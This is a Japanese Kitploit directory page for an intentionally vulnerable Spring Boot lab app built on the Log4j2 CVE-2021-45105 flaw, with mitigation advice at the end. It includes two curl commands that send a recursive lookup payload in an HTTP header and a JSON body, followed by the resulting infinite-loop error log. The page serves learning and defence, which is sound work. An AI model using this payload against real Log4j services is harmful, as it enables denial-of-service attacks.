Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
https-github.com-pravin-pp-log4j2-CVE-2021-45105-1 — サンプルのSpring Bootアプリケーションで、Log4j2のCVE-2021-45105に意図的に脆弱性を持たせたものです。細工されたHTTPヘッダーを介した無限ループのサービス拒否(DoS)の悪用練習と理解のために設計されています。 | Kitploit
ツール/GitHubGitHub/dileepdkumar/https-github.com-pravin-pp-log4j2-cve-2021-45105-1
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubdileepdkumar/https-github.com-pravin-pp-log4j2-cve-2021-45105-1

https-github.com-pravin-pp-log4j2-CVE-2021-45105-1

サンプルのSpring Bootアプリケーションで、Log4j2のCVE-2021-45105に意図的に脆弱性を持たせたものです。細工されたHTTPヘッダーを介した無限ループのサービス拒否(DoS)の悪用練習と理解のために設計されています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
4年前未レビュー

Log4j2 の脆弱なサンプルアプリケーション (CVE-2021-45105)

影響を受けるバージョン: 2.0-beta9 から 2.16.0 までの全バージョン

このアプリケーションは、CVE-2021-45105 に対して脆弱な Spring Boot Web アプリケーションをベースとしています。

Log4j 2.16.0 を使用しています。

アプリケーションの実行

以下の手順で実行します:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

攻撃手順

  • 次に、以下のようにしてエクスプロイトをトリガーします:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • 出力に無限ループが表示されますが、テストではこの DoS がリソースを消費するものではないことが確認されました。この無限ループはプログラムによって検出され、エラーとして出力されます:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

緩和策:

Java 8 (またはそれ以降) のユーザーはリリース 2.17.0 にアップグレードする必要があります。

または、設定で緩和することもできます:

  • ログ設定の PatternLayout で、 ${ctx:loginId} や $${ctx:loginId} のようなコンテキストルックアップを、スレッドコンテキストマップパターン (%X, %mdc, %MDC) に置き換えてください。
  • あるいは、設定内で、HTTP ヘッダーやユーザー入力などアプリケーション外部のソースから生成される ${ctx:loginId} や $${ctx:loginId} のようなコンテキストルックアップへの参照を削除してください。
ツールをダウンロード